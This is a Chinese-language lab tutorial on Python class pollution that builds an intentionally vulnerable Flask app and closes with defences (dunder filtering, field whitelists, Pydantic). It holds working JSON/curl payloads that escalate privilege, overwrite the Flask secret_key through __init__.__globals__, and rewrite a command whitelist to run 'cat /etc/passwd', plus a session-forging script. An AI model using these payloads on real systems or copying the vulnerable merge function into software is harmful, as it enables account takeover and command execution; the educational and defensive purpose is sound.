〇、前言

前几天审计一个基于 Flask 的管理系统时,我在用户资料更新接口看到了一段很典型的代码:前端提交 JSON,后端用一个递归合并函数把数据写进用户对象。这种模式在 Python Web 项目里到处都是,初看没什么毛病。但把合并函数的实现展开读了几遍之后,越看越觉得不对劲——hasattr + setattr 的递归组合,配合 Python 对象天然暴露的 __class__、__init__,这不就是 JavaScript 原型链污染在 Python 里的等价形式吗?

免责声明:本文所有实验仅在本地授权环境中进行,旨在提升安全从业者对此类漏洞的认知与防御能力。请勿将文中技术用于未授权的渗透测试。

一、Python 对象模型:理解攻击的基础设施

在进入漏洞分析之前,需要先理解 Python 对象模型的几个关键特性。正是这些设计为类污染攻击提供了底层支撑。

1.1 一切皆对象,类也是对象

Python 中不存在 "原始类型" 的概念。整数、字符串、函数、类本身,全部都是对象。每个对象都有一个 __class__ 属性,指向它所属的类:

class Employee:
    company = "DefaultCorp"

emp = Employee()

print(type(emp))                # <class '__main__.Employee'>
print(emp.__class__)            # <class '__main__.Employee'>
print(emp.__class__.__base__)   # <class 'object'>

这意味着,从任何一个实例出发,都能通过属性访问链条回溯到它的类、父类,乃至整个继承体系。

1.2 属性查找机制:MRO 与描述符协议

当访问 emp.company 时,Python 的属性查找遵循以下顺序:

  1. 实例的 __dict__(实例属性)
  2. 类的 __dict__(类属性)
  3. 沿 MRO(Method Resolution Order)向上查找父类

如果 company 没有被设置为实例属性,解释器会沿着 emp.__class__ -> Employee -> object 这条链逐级向上查找。这里有一个容易被忽视但直接影响攻击可行性的特性:

修改类属性,会影响所有没有同名实例属性的实例。

1.3 关键特殊属性

以下是类污染攻击中需要用到的特殊属性,每一个都是攻击链上的关键跳板:

属性

说明

攻击中的角色

__class__

实例所属的类

入口,从实例跳到类对象

__base__

类的直接父类

向上遍历继承链,扩大污染范围

__bases__

父类元组(多继承)

多继承场景的遍历

__subclasses__()

所有直接子类的列表

向下遍历,定位危险子类

__init__

构造函数(函数对象)

跳板,用于访问 __globals__

__globals__

函数所在模块的全局命名空间

终极目标,可读写任意全局变量

__mro__

完整的方法解析顺序

辅助分析属性查找路径

1.4 与 JavaScript 原型链的结构对比

理解过 JavaScript 原型链污染的读者,可以通过以下对比快速建立映射关系:

二、漏洞成因:递归合并中的属性遍历失控

2.1 问题的根源

类污染的触发条件非常明确:当应用使用递归合并函数将用户可控的字典数据写入对象时,如果没有过滤以双下划线开头和结尾的特殊属性,攻击者就能通过精心构造的嵌套 JSON 遍历对象的类继承链和函数全局命名空间。

下面是一个在 Python Web 项目中极为常见的递归合并函数:

def vulnerable_merge(dst, src):
    """
    递归合并 src 字典到 dst 对象
    同时支持对象属性和字典键的递归处理
    """
    for key, value in src.items():
        if isinstance(dst, dict):
            if key in dst and isinstance(value, dict):
                vulnerable_merge(dst[key], value)
            else:
                dst[key] = value
        elif hasattr(dst, key) and isinstance(value, dict):
            vulnerable_merge(getattr(dst, key), value)
        else:
            setattr(dst, key, value)

这段代码的意图是将用户提交的 JSON 数据递归合并到目标对象上,支持嵌套结构的深层更新。看起来很合理,但它犯了一个致命错误:没有检查 key 是否为特殊属性。

2.2 安全的浅合并 vs 危险的深合并

对比两种实现可以更清楚地看出问题所在:

# 安全:只处理第一层,不递归
def safe_shallow_merge(dst, src):
    for key, value in src.items():
        dst[key] = value     # 字典赋值,不涉及属性遍历

# 危险:递归进入嵌套对象,hasattr + setattr 构成遍历链
def dangerous_deep_merge(dst, src):
    for key, value in src.items():
        if hasattr(dst, key) and isinstance(value, dict):
            dangerous_deep_merge(getattr(dst, key), value)  # 递归深入
        else:
            setattr(dst, key, value)  # 任意属性写入

关键在于 hasattr(dst, key) 这一判断:由于 Python 对象天然拥有 __class__、__init__ 等属性,当 key 为 "__class__" 时,hasattr 返回 True,getattr 返回类对象,递归就沿着类继承链深入了。

2.3 三种常见的可利用模式

模式一:hasattr + setattr 递归

def merge(dst, src):
    for key, value in src.items():
        if hasattr(dst, key) and isinstance(value, dict):
            merge(getattr(dst, key), value)
        else:
            setattr(dst, key, value)

模式二:__dict__ 直接操作

def merge(dst, src):
    for key, value in src.items():
        if key in dst.__dict__ and isinstance(value, dict):
            merge(dst.__dict__[key], value)
        else:
            dst.__dict__[key] = value

模式三:混合字典与对象的递归合并

def merge(dst, src):
    for key, value in src.items():
        if isinstance(dst, dict):
            if key in dst and isinstance(value, dict):
                merge(dst[key], value)
            else:
                dst[key] = value
        elif hasattr(dst, key) and isinstance(value, dict):
            merge(getattr(dst, key), value)
        else:
            setattr(dst, key, value)

2.4 污染路径逐步推演

以下通过一个最小化示例,展示类污染是如何一步步发生的:

class BaseUser:
    is_admin = False

class Employee(BaseUser):
    company = "DefaultCorp"

# 创建两个普通实例
alice = Employee()
bob = Employee()

print(alice.is_admin)  # False —— 来自 BaseUser 的类属性
print(bob.is_admin)    # False

# 攻击者提交的 JSON(通过某个 API 接口传入)
malicious_data = {
    "__class__": {
        "__base__": {
            "is_admin": True
        }
    }
}

# 后端执行 merge
vulnerable_merge(alice, malicious_data)

merge 的执行路径如下:

merge(alice, {"__class__": {"__base__": {"is_admin": True}}})
│
├─ key="__class__", value={"__base__": {...}}
│  hasattr(alice, "__class__") → True
│  isinstance(value, dict) → True
│  → merge(alice.__class__, {"__base__": {"is_admin": True}})
│    = merge(Employee, {"__base__": {"is_admin": True}})
│    │
│    ├─ key="__base__", value={"is_admin": True}
│    │  hasattr(Employee, "__base__") → True
│    │  → merge(Employee.__base__, {"is_admin": True})
│    │    = merge(BaseUser, {"is_admin": True})
│    │    │
│    │    ├─ key="is_admin", value=True
│    │    │  isinstance(True, dict) → False
│    │    │  → setattr(BaseUser, "is_admin", True)  ← 污染发生!

验证结果:

print(alice.is_admin)  # True ← 被污染
print(bob.is_admin)    # True ← 从未被直接操作,但也被污染了

# 新创建的实例同样受影响
charlie = Employee()
print(charlie.is_admin)  # True

这里的核心机制是:攻击者操作的是一个实例,但 setattr 写入的目标是类对象本身,所以整个继承体系中的所有实例——包括已经存在的和将来会创建的——都会受到影响。因为实例没有同名的实例属性来"遮蔽"被污染的类属性。

三、靶场搭建

3.1 环境准备

sudo apt update
python3 -m venv class-pollution-lab
source class-pollution-lab/bin/activate
pip install flask==3.1.1 requests

3.2 靶场代码

创建 vuln_app.py,完整代码如下:

from flask import Flask, request, jsonify, session
import os

app = Flask(__name__)
app.secret_key = os.urandom(24).hex()

# -------- 漏洞核心:不安全的递归合并函数 --------
def vulnerable_merge(dst, src):
    for key, value in src.items():
        if isinstance(dst, dict):
            if key in dst and isinstance(value, dict):
                vulnerable_merge(dst[key], value)
            else:
                dst[key] = value
        elif hasattr(dst, key) and isinstance(value, dict):
            vulnerable_merge(getattr(dst, key), value)
        else:
            setattr(dst, key, value)

# -------- 数据模型 --------
class BaseUser:
    """所有用户的基类"""
    is_admin = False
    default_credit = 100

class UserProfile(BaseUser):
    """用户资料,继承 BaseUser 的 is_admin 和 default_credit"""
    company = "DefaultCorp"

    def __init__(self, username, email):
        self.username = username
        self.email = email
        # 注意:is_admin 和 default_credit 未在此设置为实例属性
        # 查找路径:实例 → UserProfile → BaseUser

# -------- 命令白名单 --------
ALLOWED_COMMANDS = {"whoami": "whoami", "date": "date", "uptime": "uptime"}

# -------- 用户存储 --------
users = {}

@app.route('/register', methods=['POST'])
def register():
    data = request.json
    username = data.get('username', '')
    email = data.get('email', '')
    if not username or not email:
        return jsonify({"error": "username and email required"}), 400
    user = UserProfile(username, email)
    users[username] = user
    return jsonify({
        "msg": f"User {username} registered",
        "is_admin": user.is_admin,
        "credit": user.default_credit,
        "company": user.company
    })

@app.route('/profile/update', methods=['POST'])
def update_profile():
    """漏洞接口:接收 JSON 并递归合并到用户对象"""
    data = request.json
    username = data.get('username', '')
    user = users.get(username)
    if not user:
        return jsonify({"error": "User not found"}), 404
    update_data = data.get('update', {})
    vulnerable_merge(user, update_data)
    return jsonify({
        "msg": "Profile updated",
        "username": user.username,
        "email": user.email,
        "is_admin": user.is_admin,
        "credit": user.default_credit,
        "company": user.company
    })

@app.route('/admin')
def admin_panel():
    """受保护的管理接口(基于 session 鉴权)"""
    if not session.get('is_admin'):
        return jsonify({"error": "Forbidden: admin only"}), 403
    return jsonify({
        "msg": f"Welcome admin {session.get('username', 'unknown')}",
        "secret_key_preview": app.secret_key[:8] + "...",
        "total_users": len(users),
        "all_emails": [u.email for u in users.values()]
    })

@app.route('/debug')
def debug_info():
    """调试接口:展示当前系统状态"""
    return jsonify({
        "secret_key_prefix": app.secret_key[:16],
        "BaseUser.is_admin": BaseUser.is_admin,
        "BaseUser.default_credit": BaseUser.default_credit,
        "UserProfile.company": UserProfile.company,
        "users": {
            k: {
                "email": v.email,
                "is_admin": v.is_admin,
                "credit": v.default_credit
            }
            for k, v in users.items()
        },
        "ALLOWED_COMMANDS": ALLOWED_COMMANDS
    })

@app.route('/login', methods=['POST'])
def login():
    data = request.json
    username = data.get('username')
    user = users.get(username)
    if user:
        session['username'] = username
        session['is_admin'] = user.is_admin
        return jsonify({"msg": f"Logged in as {username}", "is_admin": user.is_admin})
    return jsonify({"error": "User not found"}), 404

@app.route('/system/info', methods=['GET'])
def system_info():
    """白名单命令执行接口"""
    cmd_name = request.args.get('cmd', 'whoami')
    cmd = ALLOWED_COMMANDS.get(cmd_name)
    if cmd is None:
        return jsonify({"error": "Command not allowed"}), 403
    result = os.popen(cmd).read()
    return jsonify({"output": result.strip()})

if __name__ == '__main__':
    print(f"[*] Secret key: {app.secret_key}")
    print(f"[*] BaseUser.is_admin = {BaseUser.is_admin}")
    print(f"[*] Starting on http://0.0.0.0:5000")
    app.run(host='0.0.0.0', port=5000, debug=False)

3.3 启动靶场

source class-pollution-lab/bin/activate
python3 vuln_app.py

确认可访问、可用:

3.4 接口概览

接口

方法

功能

是否存在漏洞

/register

POST

注册用户

否

/profile/update

POST

更新用户资料

是(类污染入口)

/admin

GET

管理后台

否(session 鉴权)

/login

POST

用户登录

否

/system/info

GET

系统信息查询

否(白名单限制)

/debug

GET

调试信息

否(辅助验证)

三条利用链从同一个入口 /profile/update 出发,分别到达类属性、Flask 密钥、命令白名单三个攻击终点

四、利用链一:类属性污染实现全局权限提升

4.1 攻击目标

BaseUser 类定义了 is_admin = False 作为类属性。所有 UserProfile 实例通过继承链读取该值。攻击目标是将 BaseUser.is_admin 污染为 True,使所有现有用户和未来创建的用户都自动获得管理员权限。

4.2 攻击步骤

第一步:注册正常用户和攻击者账户

注册普通用户 alice
curl -X POST http://127.0.0.1:5000/register \
  -H "Content-Type: application/json" \
  -d '{"username":"alice","email":"alice@test.com"}'

注册攻击者
curl -X POST http://127.0.0.1:5000/register \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","email":"evil@test.com"}'

响应同样显示 is_admin: false。

第二步:确认攻击前状态

curl http://127.0.0.1:5000/debug

第三步:发送类污染 payload

curl -X POST http://127.0.0.1:5000/profile/update \
  -H "Content-Type: application/json" \
  -d '{
    "username": "attacker",
    "update": {
        "__class__": {
            "__base__": {
                "is_admin": true
            }
        }
    }
  }'

这个 payload 的遍历路径:

第四步:验证污染效果

curl http://127.0.0.1:5000/debug
攻击前

攻击后

alice 的 is_admin 变成了 true,而她本人从未执行过任何操作。攻击者操作的是 attacker 的更新接口,但修改的是 BaseUser 类级别的属性,所有继承自 BaseUser 的实例都受到了波及。

alice 从头到尾没有发过任何请求,但权限已经被提升。

第五步:验证后续注册用户也被影响

curl -X POST http://127.0.0.1:5000/register \
  -H "Content-Type: application/json" \
  -d '{"username":"bob","email":"bob@test.com"}'

bob 注册即为管理员,无需任何额外操作。

4.3 影响范围分析

如果 is_admin 在 __init__ 中通过 self.is_admin = False 显式设置为实例属性,那么类属性的污染就不会影响已有实例(因为实例属性优先级高于类属性)。但新创建的实例在 __init__ 执行时仍会读取已污染的默认值。

可以用以下代码片段在 Python REPL 里直观验证实例属性与类属性的优先级差异:

class Demo:
    flag = "class_level"

d1 = Demo()
d1.flag = "instance_level"  # 设置了实例属性

Demo.flag = "POLLUTED"       # 污染类属性

print(d1.flag)   # "instance_level" ← 不受影响,实例属性优先
d2 = Demo()
print(d2.flag)   # "POLLUTED"       ← 新实例没有同名实例属性,读到了被污染的类属性

4.4 一个更隐蔽的变体:污染 default_credit

权限提升容易被注意到,但数值型属性的污染更具隐蔽性:

curl -X POST http://127.0.0.1:5000/profile/update \
  -H "Content-Type: application/json" \
  -d '{
    "username": "attacker",
    "update": {
        "__class__": {
            "__base__": {
                "default_credit": 999999
            }
        }
    }
  }'

执行后,所有用户的 default_credit 从 100 变为 999999。

五、利用链二:__globals__ 劫持覆盖 Flask SECRET_KEY

利用链一展示的是类属性层面的"水平扩散"——沿继承链污染同一个属性。利用链二则要往纵深走:从用户对象出发,穿透到应用的全局命名空间,直接改写 Flask 的核心安全配置。

5.1 攻击原理

Python 中每个函数对象都有一个 __globals__ 属性,指向该函数定义时所在模块的全局命名空间字典。在 Flask 应用中,这个字典通常包含 app 对象、导入的模块、全局变量等。

攻击链路:

第一步:确认当前 secret_key

curl http://127.0.0.1:5000/debug

secret_key 是随机生成的 48 字符十六进制字符串,正常情况下无法猜测。

第二步:通过 __globals__ 覆盖 secret_key

curl -X POST http://127.0.0.1:5000/profile/update \
  -H "Content-Type: application/json" \
  -d '{
    "username": "attacker",
    "update": {
        "__class__": {
            "__init__": {
                "__globals__": {
                    "app": {
                        "secret_key": "attacker_controlled_key_2025"
                    }
                }
            }
        }
    }
  }'

merge 执行路径:

注意第四层到第五层的转换:__globals__ 返回的是一个字典,所以 merge 函数进入了 isinstance(dst, dict) 分支。它能在对象属性和字典键之间无缝切换,一旦触及 __globals__,整个模块的全局变量空间就变成了可写的攻击面。

第三步:确认污染成功

curl http://127.0.0.1:5000/debug

secret_key 已被覆盖为攻击者可控的值。

5.3 伪造 Admin Session

secret_key 被覆盖后,攻击者可以使用 Flask 的 session 序列化接口伪造任意用户的 session cookie。

exploit_session.py:

#!/usr/bin/env python3
"""利用已知 secret_key 伪造 Flask admin session"""

from flask import Flask
from flask.sessions import SecureCookieSessionInterface
import requests

TARGET = "http://127.0.0.1:5000"
KNOWN_KEY = "attacker_controlled_key_2025"

# 步骤 1:用已知 key 构建伪造环境
fake_app = Flask(__name__)
fake_app.secret_key = KNOWN_KEY

# 步骤 2:使用 Flask 原生的 session 序列化器
si = SecureCookieSessionInterface()
serializer = si.get_signing_serializer(fake_app)

# 步骤 3:构造 admin session 数据并签名
session_data = {"username": "superadmin", "is_admin": True}
forged_cookie = serializer.dumps(session_data)

print(f"[*] Known secret_key: {KNOWN_KEY}")
print(f"[+] Forged session cookie: {forged_cookie}")

# 步骤 4:携带伪造 cookie 访问管理后台
resp = requests.get(
    f"{TARGET}/admin",
    cookies={"session": forged_cookie}
)

print(f"[+] Admin panel status: {resp.status_code}")
print(f"[+] Response: {resp.json()}")

执行结果:

注意看 cookie 的结构:eyJ1c2VybmFtZSI6InN1cGVyYWRtaW4iLCJpc19hZG1pbiI6dHJ1ZX0 是 base64 编码的 session payload,可以直接解码验证内容:

后面的两段(.ae1i4Q.SthnVLzo_Thdy4QykCK0AVDPn38)分别是时间戳和 HMAC 签名。因为我们已经控制了 secret_key,签名可以随意伪造,服务端会认为这是合法的 session。

5.4 利用链分析

这条利用链的价值在于它的通用性。Flask 应用的 session 安全完全依赖 secret_key 的保密性。一旦 secret_key 被覆盖为已知值,攻击者可以:

  1. 伪造任意用户的 session:冒充管理员、冒充其他用户
  2. 解密现有 session:获取其他在线用户的 session 数据
  3. 绕过 CSRF 保护:Flask-WTF 的 CSRF token 同样基于 secret_key 签名

而且,这个攻击在服务端日志中几乎不留痕迹——/profile/update 接口的正常功能就是更新用户资料,恶意 payload 和正常请求在 HTTP 层面无法区分。

六、利用链三:全局变量篡改实现 RCE

6.1 攻击场景

靶场中的 /system/info 接口通过白名单 ALLOWED_COMMANDS 限制可执行的命令。从设计角度看,这种白名单策略是合理的:

ALLOWED_COMMANDS = {"whoami": "whoami", "date": "date", "uptime": "uptime"}

@app.route('/system/info')
def system_info():
    cmd_name = request.args.get('cmd', 'whoami')
    cmd = ALLOWED_COMMANDS.get(cmd_name)
    if cmd is None:
        return jsonify({"error": "Command not allowed"}), 403
    result = os.popen(cmd).read()
    return jsonify({"output": result.strip()})

攻击者无法通过 cmd 参数注入非白名单命令。但如果能修改 ALLOWED_COMMANDS 字典本身呢?

6.2 攻击步骤

第一步:确认正常行为

# 白名单内的命令正常执行
curl "http://127.0.0.1:5000/system/info?cmd=whoami"

# 白名单外的命令被拒绝
curl "http://127.0.0.1:5000/system/info?cmd=id"

第二步:通过 __globals__ 污染白名单

curl -X POST http://127.0.0.1:5000/profile/update \
  -H "Content-Type: application/json" \
  -d '{
    "username": "attacker",
    "update": {
        "__class__": {
            "__init__": {
                "__globals__": {
                    "ALLOWED_COMMANDS": {
                        "whoami": "id",
                        "rce": "cat /etc/passwd | head -5"
                    }
                }
            }
        }
    }
  }'

第三步:验证 RCE

# 看似正常的请求,但执行的是被篡改的命令
curl "http://127.0.0.1:5000/system/info?cmd=whoami"

原本应该返回用户名的 whoami 命令,现在返回了 id 的完整输出。仔细看响应内容就能发现差异:正常的 whoami 只返回一个用户名字符串,而被替换后返回的是 uid=...gid=...groups=... 这种 id 命令特有的格式。

# 执行注入的任意命令
curl "http://127.0.0.1:5000/system/info?cmd=rce"

成功读取了 /etc/passwd 文件内容。

6.3 攻击链路全景图

6.4 这条 RCE 链为什么难防

类污染的 RCE 路径有几个头疼的点:

  1. 命令执行代码本身是安全的:/system/info 严格使用白名单,代码审计不会标记为危险;
  2. 注入点和执行点分离:污染发生在 /profile/update,执行发生在 /system/info,两个接口功能毫不相关;
  3. WAF 难以检测:POST 到 /profile/update 的请求是合法的 JSON 结构,不包含任何传统的命令注入特征(分号、管道符等出现在 JSON value 中,不在参数位置)。

七、防御方案

7.1 黑名单过滤 dunder 属性

def safe_merge(dst, src):
    for key, value in src.items():
        # 拒绝所有双下划线属性
        if key.startswith('__') and key.endswith('__'):
            continue
        if isinstance(dst, dict):
            if key in dst and isinstance(value, dict):
                safe_merge(dst[key], value)
            else:
                dst[key] = value
        elif hasattr(dst, key) and isinstance(value, dict):
            safe_merge(getattr(dst, key), value)
        else:
            setattr(dst, key, value)

优点:改动量最小,可快速应用到存量代码。

缺点:黑名单存在遗漏风险,且单下划线开头的私有属性仍可被覆盖。

7.2 白名单字段控制

def safe_update(user, data):
    ALLOWED_FIELDS = {'email', 'nickname', 'avatar', 'bio'}
    for key, value in data.items():
        if key in ALLOWED_FIELDS:
            setattr(user, key, value)
        # 不在白名单中的字段直接忽略

优点:从根本上杜绝了属性遍历问题。

缺点:每增加一个可更新字段都需要修改白名单。

7.3 Pydantic 模型校验

from pydantic import BaseModel

class ProfileUpdate(BaseModel):
    email: str | None = None
    nickname: str | None = None
    bio: str | None = None
    # 只定义允许更新的字段,其他字段自动被丢弃

@app.route('/profile/update', methods=['POST'])
def update_profile():
    data = request.json
    username = data.get('username')
    user = users.get(username)
    if not user:
        return jsonify({"error": "User not found"}), 404

    # Pydantic 自动校验并过滤,__class__ 等字段直接被忽略
    validated = ProfileUpdate(**data.get('update', {}))
    for field, value in validated.model_dump(exclude_unset=True).items():
        setattr(user, field, value)

    return jsonify({"msg": "Profile updated"})

优点:类型安全、自动校验、天然免疫类污染。

缺点:需要为每种更新场景定义 Model。

八、总结

  • 动态语言的灵活性就是它的攻击面。 Python 的 "一切皆对象" 哲学带来了极大的元编程能力,但也意味着 __class__、__init__、__globals__ 这些语言基础设施,始终暴露在属性查找路径上。当不受信任的数据进入属性遍历流程时,这些 "基础设施" 就成了攻击者的跳板。
  • 漏洞模式是跨语言的。 JavaScript 的原型链污染和 Python 的类污染,本质上是同一个问题在不同语言运行时中的表现。
  • 注入点与执行点的分离增加了检测难度。 利用链三中,漏洞入口在 /profile/update,RCE 的触发点却在 /system/info,两个接口在业务上毫无关联。类污染的数据流是"拐弯"的——通过修改全局状态来间接影响另一个完全独立的代码路径。

参考资料

  1. Abdulraheem Khaled, "Class Pollution in Python", 2023
  2. CVE-2023-26145 -- Pydash prototype pollution vulnerability
  3. Python Documentation -- Data Model: Special Attributes
  4. OWASP -- Mass Assignment Cheat Sheet
  5. Synacktiv -- Server-side Prototype Pollution Research Series